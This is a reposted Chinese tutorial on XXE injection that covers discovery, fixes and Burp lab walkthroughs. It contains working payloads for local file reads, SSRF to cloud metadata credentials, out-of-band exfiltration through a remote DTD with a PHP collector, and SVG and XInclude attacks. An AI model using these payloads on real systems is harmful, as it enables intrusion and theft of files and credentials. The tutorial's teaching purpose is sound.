Web攻防-XMLXXE無回顯帶外SSRF元數據DTD實體OOB盲注文件拓展

知識點:
1、WEB攻防-XML&XXE-注入原理&分類&修復
2、WEB攻防-XML&XXE-文件讀取&SSRF&實體引用
3、WEB攻防-XML&XXE-無回顯&升級拓展&挖掘思路

在這里插入圖片描述
在這里插入圖片描述

一、演示案例-WEB攻防-XML&XXE-注入原理&分類&安全影響

詳細點

XML被設計為傳輸和存儲數據,XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素,其焦點是數據的內容,其把數據從HTML分離,是獨立于軟件和硬件的信息傳輸工具。等同于JSON傳輸。

XMLHTML 的主要差異:
XML 被設計為傳輸和存儲數據,其焦點是數據的內容。
HTML 被設計用來顯示數據,其焦點是數據的外觀。
HTML 旨在顯示信息 ,而XML旨在傳輸存儲信息。

XXE漏洞XML External Entity Injection,即xml外部實體注入漏洞:XXE漏洞發生在應用程序解析XML輸入時,沒禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取(最主要的影響)、命令執行、內網掃描、攻擊內網等危害。

XXE黑盒發現

兩類:
數據包的測試
功能點的測試

1、獲取得到Content-Type或數據類型為xml時,嘗試xml語言payload進行測試
在這里插入圖片描述
在這里插入圖片描述

2、不管獲取的Content-Type類型或數據傳輸類型,均可嘗試修改后提交測試xxe
在這里插入圖片描述
在這里插入圖片描述
3、XXE不僅在數據傳輸上可能存在漏洞,同樣在文件上傳引用插件解析或預覽也會造成文件中的XXE Payload被執行(百度docx xxe即可)
參考地址:https://blog.csdn.net/weixin_57567655/article/details/124588490
在這里插入圖片描述

XXE白盒發現

1、可通過應用功能追蹤代碼定位審計
2、可通過腳本特定函數搜索定位審計
3、可通過偽協議玩法繞過相關修復等

XXE修復防御方案

方案1-禁用外部實體
PHP:
libxml_disable_entity_loader(true);JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))方案2-過濾用戶提交的XML數據
過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

二、演示案例-WEB攻防-XML&XXE-有回顯利用-文件讀取&SSRF&外部實體

1、文件讀取

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

在這里插入圖片描述
在這里插入圖片描述

2、SSRF&配合元數據

條件:存在XXE注入的云服務器應用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>
&xxe;
</productId><storeId>1</storeId></stockCheck>

在這里插入圖片描述
在這里插入圖片描述

3、文件讀取-外部引用實體dtd

file.dtd
<!ENTITY send SYSTEM "file:///c:/c.txt">

在這里插入圖片描述
在這里插入圖片描述

<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://xiaodi8.com/file.dtd">
%file;
]>
<user><username>&send;</username><password>xiaodi</password></user>

在這里插入圖片描述

三、演示案例-WEB攻防-XML&XXE-無回顯利用&文件拓展解析等

無回顯利用

在這里插入圖片描述

1、DNSLOG-帶外測試

<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://xiaodi8.dnslog.cn">
%file;
]>
<user><username>xiaodi</username><password>xiaodi</password></user>

在這里插入圖片描述
在這里插入圖片描述

2、文件讀取-外部引用實體dtd配合帶外

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/c.txt">
<!ENTITY % remote SYSTEM "http://www.xiaodi8.com/test.dtd">
%remote;
%all;
]>
<user><username>&send;</username><password>xiaodi</password></user>test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.xiaodi8.com/get.php?file=%file;'>">get.php:
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>執行邏輯順序:test.dtd->all->send->get.php?file=%file->file:///c:/c.txt
http://www.xiaodi8.com/get.php?file=讀取的內網數據

在這里插入圖片描述
在這里插入圖片描述

3、文件讀取-外部引用實體dtd配合錯誤解析

test.dtd內容:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;//這是一個報錯的payload,利用目標服務器報錯解析來讀取文件內容。

BURP靶場

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ab2006f03dce8a4803dfde101f3007d.exploit-server.net/exploit"> %xxe;]>

在這里插入圖片描述
在這里插入圖片描述

文件拓展解析

1、xinclude利用

XInclude 是一種讓你能把多個獨立的 XML 文件像拼積木一樣“動態組合”成一個大 XML 文檔的標準方法。它通過在主文件里放置特殊的“包含指令”(<xi:include>),告訴 XML 處理器在需要的時候去自動加載并插入指定文件的內容。這樣做的主要好處是讓大型 XML 文檔更容易編寫、維護和復用。
在這里插入圖片描述
一些應用程序接收客戶端提交的數據,在服務器端將其嵌入到XML文檔中,然后解析該文檔,所以利用xinclude嵌套進去執行。

BURP靶場

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

在這里插入圖片描述
在這里插入圖片描述

2、文件上傳-SVG圖像解析(docx等)

一些應用程序接收解析文件,可以使用基于XML的格式的例子有DOCX這樣的辦公文檔格式和SVG這樣的圖像格式進行測試。

SVG圖片

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
SRC文章:https://mp.weixin.qq.com/s/5iPoqsWpYfQmr0ExcJYRwg

DOCX文檔
參考文章:https://blog.csdn.net/weixin_57567655/article/details/124588490
在這里插入圖片描述

在這里插入圖片描述

在這里插入圖片描述

3、功能點挖掘總結

基于XML的Web服務: SOAP、REST和RPC API這些接收和處理XML格式
導入/導出功能: 任何以 XML 格式傳輸數據的進出口
RSS/Atom 訂閱處理器: 訂閱功能也可能隱藏著 XXE 漏洞。
文檔查看器/轉換器: 處理DOCX、XLSX等XML 格式文檔的功能
文件上傳處理 XML: 比如SVG圖像處理器,上傳圖片也可能中招!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/90112.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/90112.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/90112.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Node中Unexpected end of form 錯誤

文章目錄Unexpected end of form 錯誤為什么 app.use(upload.any()) 會導致 Unexpected end of form 錯誤&#xff1f;1. 主要問題分析app.use(upload.any()) 的問題錯誤場景2. 解決方案? 方案 1&#xff1a;僅在需要文件上傳的路由使用 Multer&#xff08;推薦&#xff09;?…

通過Curtain 解決方案保障BIM模型安全共享—建筑業的防泄密實戰

某跨海大橋項目突發數據泄露事件&#xff1a;主橋鋼結構的BIM模型被外泄&#xff0c;核心參數流入競爭對手手中&#xff0c;導致項目風險評估升級。調查發現&#xff0c;泄漏源頭是一名施工方的項目經理。盡管BIM系統已經能夠控制哪些人可以閱讀、修改、甚至下載資料的權限&…

ULVAC愛發科RFS03D RF POWER SUPPLY INSTRUCTION MANUAL RF射頻電源

ULVAC愛發科RFS03D RF POWER SUPPLY INSTRUCTION MANUAL RF射頻電源

暑假算法日記第三天

目標?&#xff1a;刷完靈神專題訓練算法題單 階段目標&#x1f4cc;&#xff1a;【算法題單】滑動窗口與雙指針 LeetCode題目: 3439. 重新安排會議得到最多空余時間 I2134. 最少交換次數來組合所有的 1 II1297. 子串的最大出現次數2653. 滑動子數組的美麗值1888. 使二進制字符…

了解業務分析技術梗概

業務分析技術 以下基于BABOK V3框架&#xff0c;結合業務分析師&#xff08;BA&#xff09;的實際工作場景&#xff0c;系統梳理50項業務分析技術、常用工具、學習路徑及文檔應用指南。內容綜合BABOK官方標準及行業實踐&#xff0c;旨在提升BA的工作效能。 一、BABOK V3 技術體…

小紅的數字刪除 - 牛客

小紅的數字刪除 題目不難&#xff0c;忽略了一個 corner case&#xff0c;導致我在某次面試沒有 AK。 10003 對于這個 case&#xff0c;只考慮前導零 全部刪除是不對的&#xff0c;剩下的 3 也不能刪。 void solve(){string s;cin >> s;int res0;vector<int> a(…

Linux網絡: socket初識

一些概念 簡單了解一下TCP,UDP這兩個協議&#xff0c;和一些概念 TCP與UDP 學校教過TCP是 傳輸層協議有連接可靠傳輸面向字節流 而UDP是 傳輸層協議無連接不可靠傳輸面向數據報 當時完全不知道這些什么意思 網絡字節序 網絡通信&#xff0c;要接收和發送數據。我們知道…

AI時代的彎道超車之第二十七章:AI技術的發展方向

在這個AI重塑世界的時代,你還在原地觀望嗎?是時候彎道超車,搶占先機了! 李尚龍傾力打造——《AI時代的彎道超車:用人工智能逆襲人生》專欄,帶你系統掌握AI知識,從入門到實戰,全方位提升認知與競爭力! 內容亮點: AI基礎 + 核心技術講解 職場賦能 + 創業路徑揭秘 打破…

RabbitMQ用法的6種核心模式全面解析

文章目錄**一、RabbitMQ核心架構解析**1. AMQP協議模型2. 消息流轉原理**二、六大核心用法詳解****1. 簡單隊列模式&#xff08;Hello World&#xff09;****2. 工作隊列模式&#xff08;Work Queues&#xff09;****3. 發布/訂閱模式&#xff08;Pub/Sub&#xff09;****4. 路…

深入協程調試:協程調試工具與實戰

本文系統梳理主流協程調試工具&#xff0c;結合完整代碼示例與實戰技巧&#xff0c;助你高效解決異步編程難題一、協程調試的核心挑戰 協程的非線性執行流是調試的最大挑戰&#xff1a; 傳統斷點調試難以追蹤協程切換堆棧信息不完整或丟失上下文并發競爭條件難以復現 #mermaid-…

Git 日常開發實戰命令大全

&#x1f9f0; Git 日常開發實戰命令大全 本文整理了 Git 在日常開發中高頻使用的命令集合&#xff0c;覆蓋從基礎操作到進階技巧的完整流程&#xff0c;方便留存查閱&#x1f440; &#xff0c;最后附上所有指令。其中內容包括&#xff1a; ? 本地倉庫管理&#xff1a;添加文…

力扣 hot100 Day37

25. K 個一組翻轉鏈表 給你鏈表的頭節點 head &#xff0c;每 k 個節點一組進行翻轉&#xff0c;請你返回修改后的鏈表。 k 是一個正整數&#xff0c;它的值小于或等于鏈表的長度。如果節點總數不是 k 的整數倍&#xff0c;那么請將最后剩余的節點保持原有順序。 你不能只是…

【力扣 中等 C】516. 最長回文子序列

目錄 題目 解法一 題目 待添加 解法一 int max(int a, int b) {return a > b ? a : b; }int longestPalindromeSubseq(char* s) {const int len strlen(s);int dp[len];for (int i len - 1; i > 0; i--) {dp[i] 1;int leftDown;if (i 1 < len) {leftDown dp…

DAY 54 Inception網絡及其思考

知識點回顧&#xff1a; 傳統計算機視覺發展史&#xff1a;LeNet-->AlexNet-->VGGNet-->nceptionNet-->ResNet 之所以說傳統&#xff0c;是因為現在主要是針對backbone-neck-head這樣的范式做文章 inception模塊和網絡特征融合方法階段性總結&#xff1a;逐元素相加…

1. 微服務架構演進:從單體到SpringCloud

想象一下,你剛剛花了一個下午在生產環境下部署一款單體應用,結果因為一個微小的配置變動,整個系統宕機,大量用戶投訴蜂擁而至。運維緊急回滾,開發又要加班定位問題……這并非孤立事件,而是單體架構在規模和復雜性增長后常見的“連鎖反應”。 一、單體架構:簡單之始,復雜…

Charles 中文版抓包工具詳解:加速 API 調試與網絡問題排查

隨著技術的不斷發展&#xff0c;開發者面臨的任務日益復雜&#xff0c;特別是在調試和優化API接口時。確保應用的網絡請求在各種環境下的穩定性和高效性是提高用戶體驗的關鍵。Charles抓包工具作為一款強大的網絡調試工具&#xff0c;能夠幫助開發者精確捕獲HTTP/HTTPS流量&…

巔峰對話:文心4.5 vs DeepSeek R1 vs 通義Qwen3.0 深度評測

國產大模型三強爭霸&#xff0c;誰主沉浮&#xff1f; 2025年是中國大模型開源爆發之年——百度文心4.5系列橫空出世&#xff0c;阿里通義Qwen3.0登頂開源榜首&#xff0c;而DeepSeek R1在編程領域悄然登頂。 三大技術路線齊頭并進&#xff0c;卻走出了截然不同的道路。 在這…

Linux運維安全新范式:基于TCPIP與SSH密鑰的無密碼認證實戰

文章目錄 前言1. Linux 生成SSH秘鑰對2. 修改SSH服務配置文件3. 客戶端秘鑰文件設置4. 本地SSH私鑰連接測試5. Linux安裝Cpolar工具6. 配置SSHTCP公網地址7. 遠程SSH私鑰連接測試8. 固定SSH公網地址9. 固定SSH地址測試 前言 在云原生架構全面滲透企業IT體系的當下&#xff0c;…

行階梯形矩陣和行最簡形矩陣的區別

目錄 0、主元 一、行階梯形矩陣&#xff08;REF&#xff09; 特點&#xff1a; 二、行最簡形矩陣&#xff08;RREF&#xff09; 特點&#xff1a; 0、主元 主元是&#xff1a;該行最左側的非零元素??&#xff08;即第一個不為零的元素&#xff09;。 一、行階梯形矩陣&…

力扣 3258 統計滿足 K 約束的子字符串數量 I 題解

此題不評價&#xff0c;有點意思&#xff0c;我在次以兩種語言python 和c&#xff0c;用兩種相反的思路寫&#xff0c;注意細節不同。 原題鏈接3258. 統計滿足 K 約束的子字符串數量 I - 力扣&#xff08;LeetCode&#xff09; 法一&#xff0c;c&#xff0c;先統計出不符合的…